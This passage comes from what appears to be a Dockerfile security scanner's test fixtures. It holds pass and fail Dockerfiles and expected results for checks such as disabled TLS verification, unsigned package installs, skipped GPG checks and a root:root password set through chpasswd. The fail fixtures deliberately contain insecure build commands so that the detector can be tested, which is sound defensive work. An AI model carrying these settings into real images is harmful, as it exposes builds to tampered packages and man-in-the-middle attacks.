TEST='lol'\ python example.py RUN \ TEST_123=456\ PYTHONHTTPSVERIFY='0' \ TEST="lol" \ python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.quotes ================================================ FROM alpine:3.15 RUN PYTHONHTTPSVERIFY=0 TEST="lol\"" python example.py RUN PYTHONHTTPSVERIFY="0" TEST='lol\'' python example.py RUN LOL="123\"" PYTHONHTTPSVERIFY="0" python example.py RUN LOL='123\'' PYTHONHTTPSVERIFY='0' python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.shell ================================================ FROM alpine:3.15 RUN ABC=123 echo test; PYTHONHTTPSVERIFY=0 python example.py ;DEF=456 echo lol; RUN ABC=123 echo test;PYTHONHTTPSVERIFY=0 python example.py;DEF=456 echo lol; RUN ABC=123 echo test ;PYTHONHTTPSVERIFY=0 python example.py; DEF=456 echo lol; RUN ABC=123 echo test&& PYTHONHTTPSVERIFY=0 python example.py &&DEF=456 echo lol; RUN ABC=123 echo test&&PYTHONHTTPSVERIFY=0 python example.py&&DEF=456 echo lol; RUN ABC=123 echo test &&PYTHONHTTPSVERIFY=0 python example.py&& DEF=456 echo lol; RUN ABC=123 echo test|| PYTHONHTTPSVERIFY=0 python example.py ||DEF=456 echo lol; RUN ABC=123 echo test||PYTHONHTTPSVERIFY=0 python example.py||DEF=456 echo lol; RUN ABC=123 echo test ||PYTHONHTTPSVERIFY=0 python example.py|| DEF=456 echo lol; RUN ABC=123 echo test| PYTHONHTTPSVERIFY=0 python example.py |DEF=456 echo lol; RUN ABC=123 echo test|PYTHONHTTPSVERIFY=0 python example.py|DEF=456 echo lol; RUN ABC=123 echo test |PYTHONHTTPSVERIFY=0 python example.py| DEF=456 echo lol; RUN ABC=123 echo test; PYTHONHTTPSVERIFY=0 python example.py ; DEF=456 echo lol; RUN ABC=123 echo test ; PYTHONHTTPSVERIFY=0 python example.py; DEF=456 echo lol; ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.whitespace ================================================ FROM alpine:3.15 RUN TEST_123="456" PYTHONHTTPSVERIFY=0 python example.py RUN TEST_123='456' PYTHONHTTPSVERIFY="0" python example.py RUN TEST_123=456 PYTHONHTTPSVERIFY='0' python example.py RUN TEST_123="456" PYTHONHTTPSVERIFY=0 TEST="lol" python example.py RUN TEST_123='456' PYTHONHTTPSVERIFY="0" TEST="lol" python example.py RUN TEST_123=456 PYTHONHTTPSVERIFY='0' TEST="lol" python example.py RUN PYTHONHTTPSVERIFY=0 TEST="lol" python example.py RUN PYTHONHTTPSVERIFY="0" TEST="lol" python example.py RUN PYTHONHTTPSVERIFY='0' TEST="lol" python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/pass/Dockerfile ================================================ FROM alpine:3.5 ENV PYTHONHTTPSVERIFY=1 ENV PYTHONHTTPSVERIFY 1 ENV PYTHONHTTPSVERIFY 666 ARG PYTHONHTTPSVERIFY=1 ARG PYTHONHTTPSVERIFY 1 ARG PYTHONHTTPSVERIFY 666 ENV LOL=666 ASDFPYTHONHTTPSVERIFY=0 ENV ASDFPYTHONHTTPSVERIFY=0 LOL=666 ENV LOL=666 \ ASDFPYTHONHTTPSVERIFY=0 ENV LOL=666 PYTHONHTTPSVERIFY=1 ENV PYTHONHTTPSVERIFY 1 ARG PYTHONHTTPSVERIFYLOL=0 RUN python example.py RUN PYTHONHTTPSVERIFY=1 python example.py RUN PYTHONHTTPSVERIFY="1" python example.py RUN PYTHONHTTPSVERIFY='1' python example.py RUN PYTHONHTTPSVERIFY="0\"" python example.py RUN PYTHONHTTPSVERIFY='0\'' python example.py RUN LOL=123 \ ASDFPYTHONHTTPSVERIFY=0 python example.py RUN LOL=123 PYTHONHTTPSVERIFY=1 python example.py RUN PYTHONHTTPSVERIFYLOL=0 python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/fail/Dockerfile ================================================ FROM alpine:3.5 RUN apk add --allow-untrusted python3 RUN apk --allow-untrusted add python3 RUN apk \ --allow-untrusted \ add python3 RUN apk \ add python3 \ --allow-untrusted RUN echo "prodsec" && apk --allow-untrusted add python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunApkAllowUntrusted/pass/Dockerfile ================================================ FROM alpine:3.5 RUN apk add a-car RUN apk add a-handbag | grep "--allow-untrusted" RUN apk upgrade --no-cache && apk add \ a-mobile-phone a-dvd RUN apk upgrade &&\ echo "--allow-untrusted" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/fail/Dockerfile ================================================ FROM debian:bullseye RUN apt-get install --allow-unauthenticated python3 RUN apt-get --allow-unauthenticated install python3 RUN apt-get \ --allow-unauthenticated \ install python3 RUN apt-get \ install python3 \ --allow-unauthenticated RUN echo "prodsec" && apt-get --allow-unauthenticated install python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetAllowUnauthenticated/pass/Dockerfile ================================================ FROM debian:bullseye RUN apt-get install python3 RUN apt-get install python3 | grep "--allow-unauthenticated" RUN apt-get update && apt-get install \ python3 RUN apt-get update &&\ echo "--allow-unauthenticated" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/fail/Dockerfile ================================================ FROM debian:bullseye RUN apt-get install --force-yes python3 RUN apt-get --force-yes install python3 RUN apt-get \ --force-yes \ install python3 RUN apt-get \ install python3 \ --force-yes RUN echo "prodsec" && apt-get --force-yes install python3 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunAptGetForceYes/pass/Dockerfile ================================================ FROM debian:bullseye RUN apt-get install python3 RUN apt-get install python3 | grep "--force-yes" RUN apt-get update && apt-get install \ python3 RUN apt-get update &&\ echo "--force-yes" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunChpasswd/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunChpasswd/fail/Dockerfile ================================================ FROM ubuntu:20.04 RUN echo 'root:root' | chpasswd RUN echo 'root:' | chpasswd RUN apt-get update && echo "someuser:somepasswd" | chpasswd && echo "lol" RUN apt-get update ;\ apt-get clean ; \ echo 'root:root' | chpasswd RUN chpasswd < input.txt ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunChpasswd/pass/Dockerfile ================================================ FROM ubuntu:20.04 RUN chgrp root /etc/passwd ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.npm.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' - 'fail/Dockerfile.yarn.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.npm ================================================ FROM node:18 RUN npm config set strict-ssl=false RUN npm config set "strict-ssl"=false RUN npm config set 'strict-ssl'=false RUN npm config set strict-ssl="false" RUN npm config set "strict-ssl"="false" RUN npm config set 'strict-ssl'="false" RUN npm config set strict-ssl='false' RUN npm config set "strict-ssl"='false' RUN npm config set 'strict-ssl'='false' RUN npm config set strict-ssl false RUN npm config set "strict-ssl" false RUN npm config set 'strict-ssl' false RUN npm config set strict-ssl false RUN npm config set "strict-ssl" "false" RUN npm config set 'strict-ssl' 'false' RUN npm set strict-ssl false RUN npm set "strict-ssl" false RUN npm set 'strict-ssl' false RUN npm set strict-ssl false RUN npm set "strict-ssl" "false" RUN npm set 'strict-ssl' 'false' RUN npm c set strict-ssl false ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.wilderness ================================================ FROM node:18 RUN set -eux \ && if [[ -n "${NPM_PROXY}" ]]; then \ npm config set proxy $NPM_PROXY; \ npm config set https-proxy $NPM_PROXY; \ npm config set strict-ssl false; \ fi \ && npm install npm-proxy-cache -g RUN npm config set "strict-ssl" false RUN npm config set strict-ssl false RUN npm config set strict-ssl false -g RUN yarn config set strict-ssl false --global RUN npm set strict-ssl false && npm install --only=development RUN npm set strict-ssl false --global RUN yarn config set strict-ssl false RUN npm set strict-ssl false && npm install -g serve ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/fail/Dockerfile.yarn ================================================ FROM node:18 RUN yarn config set strict-ssl="false" RUN yarn config set "strict-ssl"="false" RUN yarn config set 'strict-ssl'="false" RUN yarn config set strict-ssl='false' RUN yarn config set "strict-ssl"='false' RUN yarn config set 'strict-ssl'='false' RUN yarn config set strict-ssl=false RUN yarn config set "strict-ssl"=false RUN yarn config set 'strict-ssl'=false RUN yarn config set strict-ssl false RUN yarn config set "strict-ssl" false RUN yarn config set 'strict-ssl' false RUN yarn config set strict-ssl "false" RUN yarn config set "strict-ssl" 'false' RUN yarn config set 'strict-ssl' false RUN yarn set strict-ssl false RUN yarn set "strict-ssl" false RUN yarn set 'strict-ssl' false RUN yarn set strict-ssl 'false' RUN yarn set "strict-ssl" false RUN yarn set 'strict-ssl' "false" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunNpmConfigSetStrictSsl/pass/Dockerfile ================================================ FROM node:18 RUN npm config set strict-ssl=true RUN yarn config set "strict-ssl"=true RUN npm config set 'strict-ssl'=true RUN npm config set strict-ssl true RUN yarn config set "strict-ssl" true RUN npm config set 'strict-ssl' true RUN yarn config set strict-ssl true RUN npm config set "strict-ssl" true RUN yarn config set 'strict-ssl' true RUN npm set strict-ssl true RUN yarn set "strict-ssl" true RUN npm set 'strict-ssl' true RUN yarn set strict-ssl true RUN npm set "strict-ssl" true RUN yarn set 'strict-ssl' true RUN npm config set audit false RUN yarn config set audit false RUN npm set audit false RUN yarn set audit false RUN npm config set strict-ssl true || false RUN yarn config set strict-ssl true || false RUN npm config get strict-ssl || false RUN yarn config get strict-ssl || false RUN npm install strict-ssl false RUN yarn install strict-ssl false RUN true && npm install strict-ssl true || false RUN echo false | yarn install strict-ssl true > out.txt RUN npm \ set \ strict-ssl \ true && gcc -Wpedantic less.c ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.RUN' - 'fail/Dockerfile.basic.RUN' - 'fail/Dockerfile.basic.RUN' - 'fail/Dockerfile.basic.RUN' - 'fail/Dockerfile.multiline.RUN' - 'fail/Dockerfile.multiline.RUN' - 'fail/Dockerfile.shell.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.basic ================================================ FROM alpine:3.5 RUN pip install checkov --trusted-host pypi.org --trusted-host files.pythonhosted.org RUN pip install checkov --trusted-host=pypi.python.org --trusted-host=pypi.org RUN pip3 install checkov --trusted-host pypi.org --trusted-host files.pythonhosted.org RUN pip3 install checkov --trusted-host=pypi.python.org --trusted-host=pypi.org ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.multiline ================================================ FROM alpine:3.5 RUN pip \ --trusted-host pypi.org \ install checkov RUN pip \ install checkov \ --trusted-host=pypi.org ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/fail/Dockerfile.shell ================================================ FROM alpine:3.5 RUN echo "panw" && pip --trusted-host=pypi.python.org --trusted-host=pypi.org install checkov ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunPipTrustedHost/pass/Dockerfile ================================================ FROM alpine:3.5 RUN pip install checkov RUN pip3 install checkov RUN pip install checkov | grep "--trusted-host" RUN pip3 install checkov; grep "--trusted-host" RUN pip install checkov &&\ echo "--trusted-host" RUN pip3 install checkov ||\ grep "--trusted-host" /etc/passwd ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' - 'fail/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/fail/Dockerfile ================================================ FROM fedora:rawhide RUN rpm -i --nodigest --nosignature --noverify --nofiledigest python3.rpm RUN rpm -i --nodigest python3.rpm RUN rpm -i --nosignature python3.rpm RUN rpm -i --noverify python3.rpm RUN rpm -i --nofiledigest python3.rpm RUN rpm \ --nodigest \ --nosignature \ --noverify \ --nofiledigest \ -i python3.rpm RUN rpm \ -i python3.rpm \ --nodigest \ --nosignature \ --nofiledigest \ --noverify RUN echo "prodsec" && rpm --nodigest --nosignature --noverify --nofiledigest -i python3.rpm ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunRpmNoSignature/pass/Dockerfile ================================================ FROM fedora:rawhide RUN rpm -i python3.rpm RUN rpm -i python3.rpm | grep "--nosignature" RUN rpm -i python3.rpm && rpm -V \ python3 RUN rpm -i python3.rpm ;\ echo "--nodigest" RUN rpm -i python3.rpm ;\ echo "--noverify" RUN rpm -i python3.rpm ||\ echo "--nofiledigest" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.combo.RUN' - 'fail/Dockerfile.long.RUN' - 'fail/Dockerfile.multiline.RUN' - 'fail/Dockerfile.shell.RUN' - 'fail/Dockerfile.short.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.combo ================================================ FROM alpine:3.5 RUN curl -Lkv https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.long ================================================ FROM alpine:3.5 RUN curl --insecure https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.multiline ================================================ FROM alpine:3.5 RUN curl \ --insecure \ https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.shell ================================================ FROM alpine:3.5 RUN echo -n -Lv https://example.com && curl -k https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/fail/Dockerfile.short ================================================ FROM alpine:3.5 RUN curl -k https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeCurl/pass/Dockerfile ================================================ FROM alpine:3.5 RUN curl https://example.com RUN curl --fake https://example.com RUN curl -lol https://example.com RUN curl https://example.com | grep -k lol RUN curl https://example.com; grep /etc/passwd -k lol RUN curl https://example.com &&\ grep /etc/passwd -k lol RUN curl https://example.com ||\ grep /etc/passwd -k lol ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.RUN' - 'fail/Dockerfile.multiline.RUN' - 'fail/Dockerfile.shell.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.basic ================================================ FROM alpine:3.5 RUN wget --no-progress --no-check-certificate -o file https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.multiline ================================================ FROM alpine:3.5 RUN wget \ --no-check-certificate \ https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/fail/Dockerfile.shell ================================================ FROM alpine:3.5 RUN echo "panw" && wget --no-check-certificate https://example.com ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUnsafeWget/pass/Dockerfile ================================================ FROM alpine:3.5 RUN wget https://example.com RUN wget --no-progress -o file https://example.com RUN wget -lol https://example.com RUN wget https://example.com | grep "--no-check-certificate" /etc/passwd RUN wget https://example.com; grep "--no-check-certificate" /etc/passwd RUN wget https://example.com &&\ echo "--no-check-certificate" RUN wget https://example.com ||\ grep "--no-check-certificate" /etc/passwd ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.RUN' - 'fail_multiline/Dockerfile.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/fail/Dockerfile ================================================ FROM busybox RUN sudo apt-get install git ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/fail_multiline/Dockerfile ================================================ FROM busybox RUN apt-get update \ && sudo apt-get install vim ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunUsingSudo/pass/Dockerfile ================================================ FROM busybox RUN apt-get install sudoku ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.dnf-config-manager.RUN' - 'fail/Dockerfile.whitespace.RUN' - 'fail/Dockerfile.whitespace.RUN' - 'fail/Dockerfile.whitespace.RUN' - 'fail/Dockerfile.whitespace.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' - 'fail/Dockerfile.yum-config-manager.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.dnf-config-manager ================================================ FROM fedora:rawhide RUN dnf-config-manager --save --setopt=sslverify=0 RUN dnf-config-manager --save --setopt=sslverify=false RUN dnf-config-manager --save --setopt=sslverify=no RUN dnf-config-manager --setopt=sslverify=0 --save RUN dnf-config-manager --setopt=sslverify=False --save RUN dnf-config-manager --setopt=sslverify=No --save RUN dnf-config-manager --save --setopt=something.sslverify=0 RUN dnf-config-manager --save --setopt=something.sslverify=false RUN dnf-config-manager --save --setopt=something.sslverify=no RUN dnf-config-manager --setopt=something.sslverify=0 --save RUN dnf-config-manager --setopt=something.sslverify=False --save RUN dnf-config-manager --setopt=something.sslverify=no --save ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.whitespace ================================================ FROM fedora:rawhide RUN yum config-manager --save --setopt=sslverify=0 RUN yum config-manager --save --setopt=sslverify=0 RUN dnf config-manager --save --setopt=sslverify=0 RUN dnf config-manager --save --setopt=sslverify=0 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.wilderness ================================================ FROM rolex:submariner RUN yum-config-manager --save --setopt=boca.sslverify=0 boca RUN yum-config-manager --setopt="epel.sslverify=0" --save RUN yum-config-manager --save --setopt=something-base.sslverify=0 RUN yum-config-manager --setopt=sslverify=false --save RUN yum-config-manager --save --setopt=kubernetes.sslverify=false ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/fail/Dockerfile.yum-config-manager ================================================ FROM fedora:rawhide RUN yum-config-manager --save --setopt=\*.sslverify=0 RUN yum-config-manager --save --setopt=\*.sslverify=false RUN yum-config-manager --save --setopt=\*.sslverify=no RUN yum-config-manager --setopt=\*.sslverify=0 --save RUN yum-config-manager --setopt=\*.sslverify=false --save RUN yum-config-manager --setopt=\*.sslverify=no --save RUN yum-config-manager --save --setopt=sslverify='0' RUN yum-config-manager --save --setopt=sslverify='False' RUN yum-config-manager --save --setopt=sslverify='no' RUN yum-config-manager --save --setopt=sslverify="0" RUN yum-config-manager --save --setopt=sslverify="false" RUN yum-config-manager --save --setopt=sslverify="No" RUN yum-config-manager \ --setopt=sslverify=0 \ --save RUN echo "prodsec" && yum-config-manager --setopt="lol.sslverify"=0 --save RUN echo "prodsec" && yum-config-manager --setopt="lol.sslverify=no" --save RUN echo "prodsec" && yum-config-manager --setopt='lol.sslverify'=False --save RUN echo "prodsec" && yum-config-manager --setopt='lol.sslverify=false' --save ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumConfigManagerSslVerify/pass/Dockerfile ================================================ FROM fedora:rawhide RUN yum-config-manager --disable updates RUN yum-config-manager --disable sslverify RUN yum-config-manager --disable \* &> /dev/null RUN yum-config-manager --setopt=install_weak_deps=False --save RUN yum-config-manager --save --setopt=proxy=http://example.com >/dev/null RUN yum-config-manager --save --setopt=something-base.sslverify=1 RUN yum-config-manager --save --setopt=something-base.sslverify=true RUN yum-config-manager --save --setopt=something-base.sslverify=on RUN yum-config-manager --save --setopt=sslverify=1 RUN yum-config-manager --save --setopt=sslverify=true RUN yum-config-manager --save --setopt=sslverify=yes RUN yum-config-manager --save --setopt=notthedroids=0 RUN yum-config-manager --save --setopt=yourelookingfor=false RUN yum-config-manager --save --setopt=thesearenot=no RUN yum-config-manager --setopt=sslverify=yes --add-repo https://example.com/yummy.repo RUN yum-config-manager --save --setopt=install_weak_deps=False | echo "--setopt=something-base.sslverify=0" RUN yum-config-manager --save --setopt=install_weak_deps=False && echo "--setopt=main.sslverify=0" RUN yum-config-manager --save --setopt=install_weak_deps=False || echo "--setopt=sslverify=0" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/RunYumNoGpgCheck/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.yum.RUN' - 'fail/Dockerfile.yum.RUN' - 'fail/Dockerfile.yum.RUN' - 'fail/Dockerfile.yum.RUN' - 'fail/Dockerfile.yum.RUN' - 'fail/Dockerfile.dnf.RUN' - 'fail/Dockerfile.dnf.RUN' - 'fail/Dockerfile.dnf.RUN' - 'fail/Dockerfile.dnf.RUN' - 'fail/Dockerfile.dnf.RUN' - 'fail/Dockerfile.tdnf.RUN' - 'fail/Dockerfile.tdnf.RUN' - 'fail/Dockerfile.tdnf.RUN' - 'fail/Dockerfile.tdnf.RUN' - 